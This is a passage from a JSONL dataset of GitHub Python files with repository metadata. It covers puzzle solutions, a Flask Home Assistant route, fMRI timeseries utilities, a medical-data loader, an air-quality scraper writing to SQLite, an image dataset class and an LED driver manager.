s[i]==x:\n break\nprint(ans-temp)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02806/s180213913.py","file_name":"s180213913.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"14992268212","text":"import numpy as np\n\n\ndef run(inputs):\n x_target = list(map(int, inputs.split(\"x=\")[1].split(\",\")[0].split(\"..\")))\n y_target = list(map(int, inputs.split(\"y=\")[1].split(\"..\")))\n\n xs = np.arange(x_target[1] + 1)\n ys = np.arange(y_target[0], max(np.abs(y_target)) + 1)\n\n velocities = np.array(np.meshgrid(xs, ys)).T.reshape(-1, 2)\n\n pos = np.full(velocities.shape, 0)\n below_target = np.zeros(pos.shape[0]).astype(bool)\n hit_target = np.zeros_like(below_target).astype(bool)\n\n while False in below_target:\n pos += velocities\n\n velocities[velocities[:, 0] > 0, 0] -= 1\n velocities[velocities[:, 0] < 0, 0] += 1\n velocities[:, 1] -= 1\n\n below_target[pos[:, 1] < y_target[1]] = True\n\n in_target = np.logical_and(\n np.logical_and(x_target[0] <= pos[:, 0], pos[:, 0] <= x_target[1]),\n np.logical_and(y_target[0] <= pos[:, 1], pos[:, 1] <= y_target[1]),\n )\n hit_target[in_target] = True\n\n return hit_target.sum()\n","repo_name":"jimhendy/AoC","sub_path":"2021/17/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"35114826656","text":"from . import hass_bp, config\nfrom ..utils import create_request\nfrom flaskz.log import flaskz_logger\n\nconfig = config[\"default\"]\ndefault_headers = config.HASS_DEFAULT_HEADERS\ntoken = config.HASS_TOKEN\nbase_url = config.HASS_BASE_URL\n\n\ndef request_api(url, method='GET', headers=None):\n if headers is None:\n headers = default_headers\n url = base_url + url\n return create_request(url=url, method=method, headers=headers)\n\n\ndef get_route_log(route):\n flaskz_logger.info('Route: ' + route)\n\n\n@hass_bp.route('/get_all_status', methods=['GET'])\ndef get_status():\n get_route_log('/get_all_status')\n return request_api('/api/states')\n","repo_name":"ColorlessCube/alex-api","sub_path":"back-end/app/hass/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"9814311422","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nimport time, pdb, argparse, subprocess\nfrom glob import glob\nimport pandas as pd\nfrom tqdm import tqdm\nimport os\nimport numpy as np\n\nfrom SyncNetInstance import *\n\n# ==================== LOAD PARAMS ====================\n\n\nparser = argparse.ArgumentParser(description = \"SyncNet\");\n\nparser.add_argument('--initial_model', type=str, default=\"data/syncnet_v2.model\", help='');\nparser.add_argument('--batch_size', type=int, default='20', help='');\nparser.add_argument('--vshift', type=int, default='15', help='');\nparser.add_argument('--tmp_dir', type=str, default=\"./tmp\", help='');\nparser.add_argument('--reference', type=str, default=\"demo\", help='');\nparser.add_argument('--audio_dir', type=str, default='../../../data/listening_head/audios/', help='')\nparser.add_argument('--pd_video_folder', type=str, required=True);\nparser.add_argument('--anno_file', type=str, required=True)\n\nopt = parser.parse_args();\n\n\n# ==================== RUN EVALUATION ====================\n\ns = SyncNetInstance();\n\ns.loadParameters(opt.initial_model);\nprint(\"Model %s loaded.\"%opt.initial_model);\n\nif os.path.exists(os.path.join(opt.tmp_dir,opt.reference)):\n rmtree(os.path.join(opt.tmp_dir,opt.reference))\nos.makedirs(os.path.join(opt.tmp_dir,opt.reference))\n\ndf = pd.read_csv(opt.anno_file)\noffset_and_confs = []\ndists = []\nfor row_idx, row in tqdm(df.iterrows(), total=len(df)):\n if row_idx > 10:\n continue\n pd_video_fn = f'{opt.pd_video_folder}/{row.uuid}.speaker.mp4'\n assert os.path.exists(pd_video_fn), f\"'{pd_video_fn}' is not exist\"\n offset, conf, dist = s.evaluate(opt, videofile=pd_video_fn)\n offset_and_confs.append([offset, conf])\n dists.append(dist)\nprint(np.array(offset_and_confs))\n","repo_name":"dc3ea9f/vico_challenge_baseline","sub_path":"evaluations/lip_sync/demo_syncnet.py","file_name":"demo_syncnet.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"90"} +{"seq_id":"71383993576","text":"#!/usr/bin/env python3\n\n# Python 3.9.5\n\n# 05_do_while.py\n\n# Please note: A do-while-loop does not exist in Python3.\n# A workaround is the regular while loop.\n\n# Dependency\nimport random\n\nrandom_number = random.randint(1, 100)\ncounter = 0\ncounter_lst = []\n\nprint('Random number:', random_number)\nprint('Iterations until random number (i=5)')\nprint('Last iteration is a smaller step (i<5)')\nprint('Iterations:')\n\nwhile counter < random_number:\n counter += 1\n if (counter % 5) == 0:\n counter_lst.append(counter)\n\nif counter == random_number: \n counter_lst.append(counter)\n\nprint(counter_lst)\n","repo_name":"fenceMeshwire/JavaScript_basics","sub_path":"05_do_while.py","file_name":"05_do_while.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"44579363003","text":"import os, sys\nimport numpy as np\nimport pandas as pd\nfrom scipy.io import loadmat\nimport scipy.signal\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport nilearn\n\n#-------------------------------------------------------------------------------------------\n# my modules\n#-------------------------------------------------------------------------------------------\n\nuser = os.path.expanduser('~')\n# if user == '/hpc/users/schafm03':\n# base_dir = '/sc/arion/projects/OlfMem/mgs/2D_place'\n# sys.path.insert(0, f'{base_dir}/Code/toolbox') \n# sys.path.insert(0, f'{base_dir}/Code/social_navigation_analysis/social_navigation_analysis') \n# else:\n# if user == '/Users/matthew':\n# base_dir = '/Volumes/synapse/projects/SocialSpace/Projects/SNT-fmri_place/New_analyses' \n# elif user == '/Users/matty_gee':\n# base_dir = '/Users/matty_gee/Desktop/SNT-fMRI'\n# sys.path.insert(0, f'{user}/Dropbox/Projects/toolbox/toolbox')\n# sys.path.insert(0, f'{user}/Dropbox/Projects/fmri_tools/qc')\n# sys.path.insert(0, f'{user}/Dropbox/Projects/social_navigation_analysis/social_navigation_analysis')\nfrom info import decision_trials, character_roles, task\n\n\n#-------------------------------------------------------------------------------------------\n# load data etc\n#-------------------------------------------------------------------------------------------\n\n\n# add an argument to only get certain ROIs, to speed up loading\ndef load_ts_mat(mat_file, preprocess=True, decisions_only=False, **kwargs):\n \"\"\"\n Load timseries mat file and return a nested dictionary\n Options to preprocess and restrict to decision period\n \"\"\"\n data = loadmat(mat_file)['data'][0]\n ts_dict = {}\n for r in range(len(data)):\n roi_name, roi_ts = data[r][0][0], data[r][2]\n if preprocess:\n roi_ts = clean_ts(roi_ts, **kwargs)\n if decisions_only:\n roi_ts = get_decision_ts(roi_ts)\n ts_dict[roi_name] = roi_ts\n return ts_dict\n\ndef digitize_matrix(matrix, n_bins=10): \n '''\n Digitize an input matrix to n bins (10 bins by default)\n [By Matthew Schafer, github: @matty-gee; 2020ish]\n '''\n matrix_bins = [np.percentile(np.ravel(matrix), 100/n_bins * i) for i in range(n_bins)] # compute the bins \n matrix_vec_digitized = np.digitize(np.ravel(matrix), bins = matrix_bins) * (100 // n_bins) # compute the vector digitized value \n matrix_digitized = np.reshape(matrix_vec_digitized, np.shape(matrix)) # reshape to matrix\n matrix_digitized = (matrix_digitized + matrix_digitized.T) / 2 # force symmetry in the plot\n return matrix_digitized\n\n\n#-------------------------------------------------------------------------------------------\n\n#-------------------------------------------------------------------------------------------\n\n\ndef get_task_trs(tr=1.0):\n\n # double & triple check timing....\n # new data: ... TRs, older data: ... TRs\n \n if tr == 1.0:\n onset, offset = 'cogent_onset', 'cogent_offset'\n elif tr == 2.0:\n onset, offset = 'cogent_onset_2015', 'cogent_offset_2015'\n\n other_rows = ['trial_type', 'slide_num', 'scene_num', 'dimension', 'char_role_num', 'char_decision_num']\n out = []\n for _, row in task.iterrows():\n on, off = np.round(row[onset]), np.round(row[offset])\n sec_ix = np.arange(on, off, tr)[:, np.newaxis] # range of indices\n other = np.vstack([np.repeat(r, len(sec_ix)) for r in row[other_rows]]).T\n out.append(np.hstack([sec_ix, other]))\n\n out_df = pd.DataFrame(np.vstack(out), columns=['onset(s)'] + other_rows)\n out_df['onset(s)'] = out_df['onset(s)'].astype(float).astype(int)\n out_df.insert(0, 'TR', out_df.index + 1)\n\n # add rows if needed\n total_secs = out_df['onset(s)'].values[-1] # should be 1570\n missing_secs = 1570 - total_secs\n\n # add rows to tr_df\n extra_trs_df = pd.DataFrame(np.arange(total_secs+1, 1570), columns=['onset(s)'])\n extra_trs_df['TR'] = np.arange(total_secs+1, 1570) / tr\n extra_trs_df[other_rows] = np.nan\n\n out_df = pd.concat([out_df, extra_trs_df], axis=0)\n return out_df.reset_index(drop=True)\n\n\n#-------------------------------------------------------------------------------------------\n# timeseries cleaning\n#-------------------------------------------------------------------------------------------\n\n\ndef clean_ts(ts, tr=1.0, detrend=True, \n standardize='zscore', filter='cosine',\n low_pass=None, high_pass=1/128):\n # default: \n # 1 - detrend to remove linear trends\n # 2 - high_pass filter to filter out low freq. signals (default is 1/128s = 0.0078125Hz)\n # 3 - standardize\n \n return nilearn.signal.clean(ts,\n t_r=tr,\n detrend=detrend,\n standardize=standardize,\n filter=filter,\n low_pass=low_pass,\n high_pass=high_pass)\n\ndef get_decision_ts(ts, pre_trs=0): \n \"\"\"\n Returns trial-ordered decision periods for timeseries\n\n tc : timeseries (num_trs x num_voxels)\n onsets : 'new' or 'old' (new is the 2019 onsets, old is the 2015 onsets)\n tr : TR in seconds\n pre_trs : number of TRs before the onset to include in the epoch\n \"\"\"\n if ts.shape[0] == 1570: \n col_name, tr = 'cogent_onset', 1.0\n # elif ts.shape[0] == 784: \n else:\n col_name, tr = 'cogent_onset_2015', 2.0\n # else:\n # raise Exception(f'Make sure timeseries has correct shape: {ts.shape}')\n\n onset_secs = decision_trials[col_name].values # in seconds\n onset_trs = (np.round(onset_secs) / tr).astype(int) - pre_trs # convert to TRs, subtract to get pre-onset TRs\n decision_windows = np.vstack([np.arange(on_tr, on_tr + (12/tr) + pre_trs) for on_tr in onset_trs]) # num_trials x num_trs\n assert decision_windows.shape == (len(onset_trs), (12/tr) + pre_trs), f'Epochs shape is {decision_windows.shape}'\n return np.vstack([ts[int(w[0]) : int(w[-1])+1, :] for w in decision_windows])\n\ndef preprocess_ts(ts, tr=1.0, detrend=True,\n standardize='zscore', filter='cosine',\n low_pass=None, high_pass=1/128, onsets='new'):\n # clean and return only dcision periods\n cleaned_ts = clean_ts(ts, tr=tr, detrend=detrend,\n standardize=standardize, filter=filter,\n low_pass=low_pass, high_pass=high_pass)\n cleaned_ts = np.vstack(get_decision_ts(cleaned_ts, onsets=onsets))\n return cleaned_ts\n\ndef maskout_pretrial_trs(ts):\n\n # mask out the extra TRs included prior to the actual decision period volumes\n extra_trs = (ts.shape[0] / 63) - 12 # TRs include per trial (may be pre-decision TRs in it)\n trial_mask = np.concatenate([np.zeros(int(extra_trs), dtype=bool), np.ones(12, dtype=bool)])\n tc_mask = np.repeat(trial_mask, 63)\n assert tc_mask.shape[0] == ts.shape[0]\n ts_masked = ts[tc_mask, :]\n assert ts_masked.shape == (63*12, ts.shape[1])\n return ts_masked\n\ndef get_roi_decision_ts(roi, ts_dict):\n\n ts = ts_dict[roi]\n ts = clean_ts(ts, tr=1.0)\n ts = np.vstack(get_decision_ts(ts, onsets='new', tr=1.0))\n\n return ts\n\n\n#-------------------------------------------------------------------------------------------\n# plotting \n#-------------------------------------------------------------------------------------------\n\n\ndef plot_ts(ts, figsize=(16, 8)):\n\n f, axs = plt.subplots(1,2, figsize=figsize, gridspec_kw={'width_ratios': [1, .5]})\n ax = axs[0]\n ax.imshow(ts.T, interpolation='nearest', cmap='magma_r', aspect='auto')\n ax.set_title('ROI timseries', fontsize=15)\n ax.set_ylabel('Voxels/Components', fontsize=12)\n ax.set_xlabel('Timepoints', fontsize=12)\n\n ax = axs[1]\n ax.imshow(np.corrcoef(ts), cmap='magma_r')\n # add a box around every decision period\n # for i in range(0, ts.shape[0], 12):\n # rect = patches.Rectangle((i,i), 12, 12, \n # linewidth=2, edgecolor='white', facecolor='none')\n # ax.add_patch(rect)\n ax.set_title('TR-TR correlation matrix', fontsize=15)\n ax.set_xlabel('TR', fontsize=12)\n ax.set_ylabel('TR', fontsize=12)\n\n return f\n\ndef plot_ts_corrmat(ts, digitize=False, \n ax=None, cmap='magma_r', figsize=(10,10)):\n \"\"\"\n Plot the correlation matrix of the timeseries\n \"\"\"\n if ax is None:\n f, ax = plt.subplots(1,1, figsize=figsize)\n cm = np.corrcoef(ts)\n if digitize: cm = digitize_matrix(cm)\n ax.imshow(np.corrcoef(ts), cmap=cmap)\n ax.set_title('TR-TR correlation matrix', fontsize=15)\n ax.set_xlabel('TR', fontsize=12)\n ax.set_ylabel('TR', fontsize=12)\n return ax\n\ndef plot_ts_similarity_matrix(ax, ts, bounds, \n digitize=False, lw=2, cmap='magma_r'):\n\n # plot a TR-TR correlation matrix, with bounds highlighted\n # tc should be n_TRs x n_voxels\n # bounds is boudnaries to highligh tin TRs\n n_TRs = ts.shape[0]\n cm = np.corrcoef(ts)\n if digitize: cm = digitize_matrix(cm)\n ax.imshow(cm, cmap=cmap)\n ax.set_xlabel('TR')\n ax.set_ylabel('TR')\n\n # plot the boundaries \n bounds_aug = np.concatenate(([0], bounds, [n_TRs]))\n for i in range(len(bounds_aug)-1):\n rect = patches.Rectangle(\n (bounds_aug[i],bounds_aug[i]),\n bounds_aug[i+1]-bounds_aug[i],\n bounds_aug[i+1]-bounds_aug[i],\n linewidth=lw, edgecolor='w', facecolor='none'\n )\n ax.add_patch(rect)","repo_name":"matty-gee/social_trajectories","sub_path":"utils_timeseries.py","file_name":"utils_timeseries.py","file_ext":"py","file_size_in_byte":9643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18039475924","text":"import threading\n\nfrom utils import ModuleFindTool\n\n\nclass QueueManager:\n def __init__(self, queue, current_time, config):\n self.queue = queue\n self.config = config\n checker_class = ModuleFindTool.find_class_by_path(f'fedsync.checker.{config[\"checker_file\"]}', config[\"checker_name\"])\n self.checker = checker_class(current_time, config[\"params\"])\n self.lock = threading.Lock()\n\n def put(self, update):\n self.lock.acquire()\n if self.checker.check(update):\n self.queue.put(update)\n self.lock.release()\n","repo_name":"1724628018/async-FL","sub_path":"src/fedsync/QueueManager.py","file_name":"QueueManager.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"90"} +{"seq_id":"19192832257","text":"import pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\n\ndef load_thoracic_data():\n \n # load in data with pandas\n data = pd.read_csv(\"thoracic_data.csv\")\n \n # convert T/F outcomes to 1/0\n Y = np.array([1 if risk==\"T\" else 0 for risk in data[\"Risk1Yr\"]])\n print(\"Y values: \", Y)\n\n # get the feature matrix\n data = data.drop(columns=[\"DGN\", \"PRE6\", \"PRE14\", \"PRE5\", \"PRE19\", \"Risk1Yr\"])\n print(\"data: \", data)\n\n # feat = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE5\"]]) # repeat for all of the other columns or write loop to iterate over column names\n # data[\"PRE5\"] = feat\n feat1 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE7\"]])\n data[\"PRE7\"] = feat1\n feat2 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE8\"]])\n data[\"PRE8\"] = feat2\n feat3 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE9\"]])\n data[\"PRE9\"] = feat3\n feat4 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE10\"]])\n data[\"PRE10\"] = feat4\n feat5 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE11\"]])\n data[\"PRE11\"] = feat5\n feat6 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE17\"]])\n data[\"PRE17\"] = feat6\n # feat7 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE19\"]])\n # data[\"PRE19\"] = feat7\n feat8 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE25\"]])\n data[\"PRE25\"] = feat8\n feat9 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE30\"]])\n data[\"PRE30\"] = feat9\n feat10 = np.array([1 if risk==\"T\" else 0 for risk in data[\"PRE32\"]])\n data[\"PRE32\"] = feat10\n # feat11 = np.array([1 if risk==\"T\" else 0 for risk in data[\"Risk1Yr\"]])\n # data[\"Risk1Yr\"] = feat11\n\n print(\"data: \", data)\n # Xmat = data.drop(columns=[\"Risk1Yr\"])\n\n feature_names = data.columns\n print(\"feature names: \", feature_names)\n data_features = data[feature_names]\n Xmat = data_features.to_numpy()\n print(\"Xmat: \", Xmat)\n\n # split into training, validation, testing\n Xmat_train, Xmat_test, Y_train, Y_test = train_test_split(Xmat, Y, test_size=0.33, random_state=42)\n Xmat_train, Xmat_val, Y_train, Y_val = train_test_split(Xmat_train, Y_train, test_size=0.33, random_state=42)\n \n # get rid of any features that end up with a std of 0 \n # standardize the data\n mean = np.mean(Xmat_train, axis=0)\n print(\"mean: \", mean)\n std = np.std(Xmat_train, axis=0)\n print(\"std: \", std)\n Xmat_train = (Xmat_train - mean)/std\n Xmat_val = (Xmat_val - mean)/std\n Xmat_test = (Xmat_test - mean)/std\n \n # add a column of ones for the intercept term\n Xmat_train = np.column_stack((np.ones(len(Xmat_train)), Xmat_train))\n Xmat_val = np.column_stack((np.ones(len(Xmat_val)), Xmat_val))\n Xmat_test = np.column_stack((np.ones(len(Xmat_test)), Xmat_test))\n feature_names = [\"intercept\"] + feature_names\n \n # return the train/validation/test datasets\n return feature_names, {\"Xmat_train\": Xmat_train, \"Xmat_val\": Xmat_val, \"Xmat_test\": Xmat_test,\n \"Y_train\": Y_train, \"Y_val\": Y_val, \"Y_test\": Y_test}\n","repo_name":"23kkm3/machine_learning","sub_path":"ml_finalproject/project_code/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"7060214178","text":"# CPCBCCR Data Scraper – setup_pull.py\n# Author: Gurjot Sidhu (github.com/gsidhu)\n# Thanks to: Thejesh GN (github.com/thejeshgn)\n#\n# This script reads the JSON response and populates the data table.\n\nimport sqlite3\nimport json\n\ncon = sqlite3.connect('../data/db/data.db')\ncur = con.cursor()\nquery = \"SELECT state, city, site, site_name, query_name, json_data FROM request_status_data WHERE parsed = 0 AND status_code = 200\"\n\nparameters_in_order = ['PM2.5', 'PM10', 'NO', 'NO2', 'NOx', 'NH3', 'SO2', 'CO', 'Ozone', 'Benzene', 'Toluene', 'Eth-Benzene', 'MP-Xylene', 'RH', 'WD', 'SR', 'BP', 'AT', 'TOT-RF', 'RF', 'Xylene', 'WS', 'O Xylene', 'Temp', 'P-Xylene', 'VWS', 'Rack Temp']\n# sql_query = \"INSERT INTO data('city','site_name','site','state','query_name','to_date','to_time','from_date','from_time','PM2.5','PM10','NO','NO2','NOx','NH3','SO2','CO','Ozone','Benzene','Toluene','Eth-Benzene','MP-Xylene','RH','WD','SR','BP','AT','TOT-RF','RF','Xylene','WS','O Xylene','Temp','P-Xylene','VWS','Rack Temp') VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);\"\nsql_query = \"INSERT INTO data VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);\"\ncursor = cur.execute(query)\nrow = cursor.fetchone()\nprev_query = ''\nwhile row:\n state = row[0]\n city = row[1]\n site = row[2]\n site_name = row[3]\n query_name = row[4]\n json_data = json.loads(row[5])\n\n # stopping the while loop\n if query_name != prev_query:\n prev_query = query_name\n else:\n break\n print(query_name)\n\n if json_data[\"status\"] == \"failed\":\n print(\"moving on\")\n # update parsed status\n parsed_query = \"UPDATE request_status_data SET parsed = 1 WHERE query_name='\" + query_name + \"'\"\n cur.execute(parsed_query)\n con.commit()\n # move to next row\n cur = con.cursor()\n cursor = cur.execute(query)\n row = cursor.fetchone()\n continue\n\n try:\n raw_data = json_data[\"data\"][\"tabularData\"]\n body = raw_data[\"bodyContent\"]\n records = []\n for i in range(len(body)):\n from_date = body[i]['from date'].split(' - ')[0]\n from_time = body[i]['from date'].split(' - ')[1]\n to_date = body[i]['to date'].split(' - ')[0]\n to_time = body[i]['to date'].split(' - ')[1]\n insert_record = [city,site_name,site,state,query_name,to_date,to_time,from_date,from_time]\n for p in parameters_in_order:\n # try to read the value from json\n try:\n value = body[i][p]\n except:\n value = None # assign None type if param is missing\n # insert numbers as float and others as is\n try:\n insert_record.append(float(value))\n except:\n insert_record.append(value)\n records.append(tuple(insert_record))\n\n # insert parsed rows\n cur.executemany(sql_query, records)\n\n # update parsed status\n parsed_query = \"UPDATE request_status_data SET parsed = 1 WHERE query_name='\" + query_name + \"'\"\n cur.execute(parsed_query)\n con.commit()\n except:\n pass\n\n # move to next row\n cur = con.cursor()\n cursor = cur.execute(query)\n row = cursor.fetchone()\n\ncon.close()","repo_name":"gsidhu/cpcbccr-data-scraper","sub_path":"code/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"18141349069","text":"while True:\n n, x = map(int, input().split())\n if n == x == 0:\n break\n Sum = 0\n count = 0\n for a in range(1, n + 1):\n for b in range(a + 1, n + 1):\n for c in range(b + 1, n + 1):\n Sum = a + b + c\n if Sum == x:\n count = count + 1\n print(count)","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p02412/s526357703.py","file_name":"s526357703.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"16068203645","text":"import cv2\nimport imgaug.augmenters as iaa\nfrom torchvision import transforms\nfrom torch.utils.data import Dataset\nfrom utils import pad_to_square\n\nLABEL_TO_IDX = {'jeyuk_bokkeum': 0, 'kimbap': 1, 'omurice': 2, 'pork_cutlet': 3, 'ramen': 4, 'samgyetang': 5, 'tteokbokki': 6}\n\nclass FoodDataset(Dataset):\n def __init__(self, img_paths, label_to_idx, img_shape, apply_aug, **kwargs):\n self.img_paths = img_paths\n self.labels = [label_to_idx[p.split('/')[-2]] for p in img_paths]\n \n self.label_to_idx = label_to_idx\n self.idx_to_label = {v: k for k, v in label_to_idx.items()}\n \n self.img_shape = tuple(img_shape)\n self.apply_aug = apply_aug\n \n self.augmentor = iaa.RandAugment(n=(0, 5), m=(0, 9))\n self.pre_transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n ])\n \n def __len__(self):\n return len(self.img_paths)\n \n def __getitem__(self, idx):\n org_img = pad_to_square(cv2.imread(self.img_paths[idx]))\n org_img = cv2.resize(org_img, self.img_shape, interpolation=cv2.INTER_CUBIC)\n \n label_idx = self.labels[idx]\n label_name = self.idx_to_label[label_idx]\n \n # Apply augmentation\n if self.apply_aug:\n aug_img = self.augmentor.augment_image(org_img)\n else:\n aug_img = org_img\n \n input_tensor = self.pre_transform(aug_img)\n \n return {'org_img': org_img, 'aug_img': aug_img, 'input': input_tensor, 'label': label_idx, 'label_name': label_name}","repo_name":"yhkim-4504/Food-Classification","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"18011284879","text":"import math\n\nN = int(input())\n\nd=[]\n\nfor i in range(1,int(math.sqrt(N))+1):\n if N%i == 0:\n d.append(N//i)\n d.append(i)\n \nFmin=10**10\n\nfor i in d:\n if N%i ==0:\n A = i\n B = N//i\n F = max(len(str(A)),len(str(B)))\n if F < Fmin:\n Fmin = F\nprint(Fmin)\n","repo_name":"Aasthaengg/IBMdataset","sub_path":"Python_codes/p03775/s520255118.py","file_name":"s520255118.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"11848096679","text":"# Import standard python modules\nimport threading, time\n\n# Import python types\nfrom typing import Optional, Tuple, Dict, Any\n\n# Import device utilities\nfrom device.utilities import maths\n\n# Import peripheral utilities\nfrom device.peripherals.utilities import light\n\n# Import manager elements\nfrom device.peripherals.classes.peripheral import manager, modes\nfrom device.peripherals.modules.led_dac5578 import driver, exceptions, events\n\n\nclass LEDDAC5578Manager(manager.PeripheralManager):\n \"\"\"Manages an LED driver controlled by a dac5578.\"\"\"\n\n prev_desired_intensity: Optional[float] = None\n prev_desired_spectrum: Optional[Dict[str, float]] = None\n prev_desired_distance: Optional[float] = None\n prev_heartbeat_time: float = 0\n heartbeat_interval: float = 60 # seconds -> every minute\n prev_reinit_time: float = 0\n reinit_interval: float = 300 # seconds -> every 5 minutes\n\n def __init__(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Initialize light driver.\"\"\"\n\n # Initialize parent class\n super().__init__(*args, **kwargs)\n\n # Initialize panel and channel configs\n self.panel_configs = self.communication.get(\"panels\")\n self.panel_properties = self.setup_dict.get(\"properties\")\n\n # Initialize variable names\n self.intensity_name = self.variables[\"sensor\"][\"ppfd_umol_m2_s\"]\n self.spectrum_name = self.variables[\"sensor\"][\"spectrum_nm_percent\"]\n self.distance_name = self.variables[\"sensor\"][\"illumination_distance_cm\"]\n self.channel_setpoints_name = self.variables[\"actuator\"][\n \"channel_output_percents\"\n ]\n\n # Parse panel properties\n self.channel_types = self.panel_properties.get( # type: ignore\n \"channel_types\", {}\n )\n channels = self.panel_properties.get(\"channels\", {}) # type: ignore\n self.channel_names = channels.keys()\n\n @property\n def spectrum(self) -> Any:\n \"\"\"Gets spectrum value.\"\"\"\n return self.state.get_peripheral_reported_sensor_value(\n self.name, self.spectrum_name\n )\n\n @spectrum.setter\n def spectrum(self, value: Optional[Dict[str, float]]) -> None:\n \"\"\"Sets spectrum value in shared state.\"\"\"\n self.state.set_peripheral_reported_sensor_value(\n self.name, self.spectrum_name, value\n )\n self.state.set_environment_reported_sensor_value(\n self.name, self.spectrum_name, value, simple=True\n )\n\n @property\n def desired_spectrum(self) -> Any:\n \"\"\"Gets desired spectrum value from shared environment state if not \n in manual mode, otherwise gets it from peripheral state.\"\"\"\n if self.mode != modes.MANUAL:\n return self.state.get_environment_desired_sensor_value(self.spectrum_name)\n else:\n return self.state.get_peripheral_desired_sensor_value(\n self.name, self.spectrum_name\n )\n\n @desired_spectrum.setter\n def desired_spectrum(self, value: Any) -> None:\n \"\"\"Sets desired intensity value in shared state.\"\"\"\n self.state.set_peripheral_desired_sensor_value(\n self.name, self.spectrum_name, value\n )\n\n @property\n def intensity(self) -> Optional[float]:\n \"\"\"Gets intensity value.\"\"\"\n value = self.state.get_peripheral_reported_sensor_value(\n self.name, self.intensity_name\n )\n if value != None:\n return float(value)\n return None\n\n @intensity.setter\n def intensity(self, value: float) -> None:\n \"\"\"Sets intensity value in shared state.\"\"\"\n self.state.set_peripheral_reported_sensor_value(\n self.name, self.intensity_name, value\n )\n self.state.set_environment_reported_sensor_value(\n self.name, self.intensity_name, value, simple=True\n )\n\n @property\n def desired_intensity(self) -> Optional[float]:\n \"\"\"Gets desired intensity value from shared environment state if not \n in manual mode, otherwise gets it from peripheral state.\"\"\"\n if self.mode != modes.MANUAL:\n value = self.state.get_environment_desired_sensor_value(self.intensity_name)\n if value != None:\n return float(value)\n return None\n else:\n value = self.state.get_peripheral_desired_sensor_value(\n self.name, self.intensity_name\n )\n if value != None:\n return float(value)\n return None\n \n @desired_intensity.setter\n def desired_intensity(self, value: float) -> None:\n \"\"\"Sets desired intensity value in shared state.\"\"\"\n self.state.set_peripheral_desired_sensor_value(\n self.name, self.intensity_name, value\n )\n\n @property\n def distance(self) -> Optional[float]:\n \"\"\"Gets distance value.\"\"\"\n value = self.state.get_peripheral_reported_sensor_value(\n self.name, self.distance_name\n )\n if value != None:\n return float(value)\n return None\n\n @distance.setter\n def distance(self, value: float) -> None:\n \"\"\"Sets distance value in shared state.\"\"\"\n self.state.set_peripheral_reported_sensor_value(\n self.name, self.distance_name, value\n )\n self.state.set_environment_reported_sensor_value(\n self.name, self.distance_name, value, simple=True\n )\n\n @property\n def desired_distance(self) -> Optional[float]:\n \"\"\"Gets desired distance value from shared environment state if not \n in manual mode, otherwise gets it from peripheral state.\"\"\"\n if self.mode != modes.MANUAL:\n value = self.state.get_environment_desired_sensor_value(self.distance_name)\n if value != None:\n return float(value)\n return None\n else:\n value = self.state.get_peripheral_desired_sensor_value(\n self.name, self.distance_name\n )\n if value != None:\n return float(value)\n return None\n \n @desired_distance.setter\n def desired_distance(self, value: float) -> None:\n \"\"\"Sets desired distance value in shared state.\"\"\"\n self.state.set_peripheral_desired_sensor_value(\n self.name, self.distance_name, value\n )\n\n @property\n def channel_setpoints(self) -> Any:\n \"\"\"Gets channel setpoints value.\"\"\"\n return self.state.get_peripheral_reported_actuator_value(\n self.name, self.channel_setpoints_name\n )\n\n @channel_setpoints.setter\n def 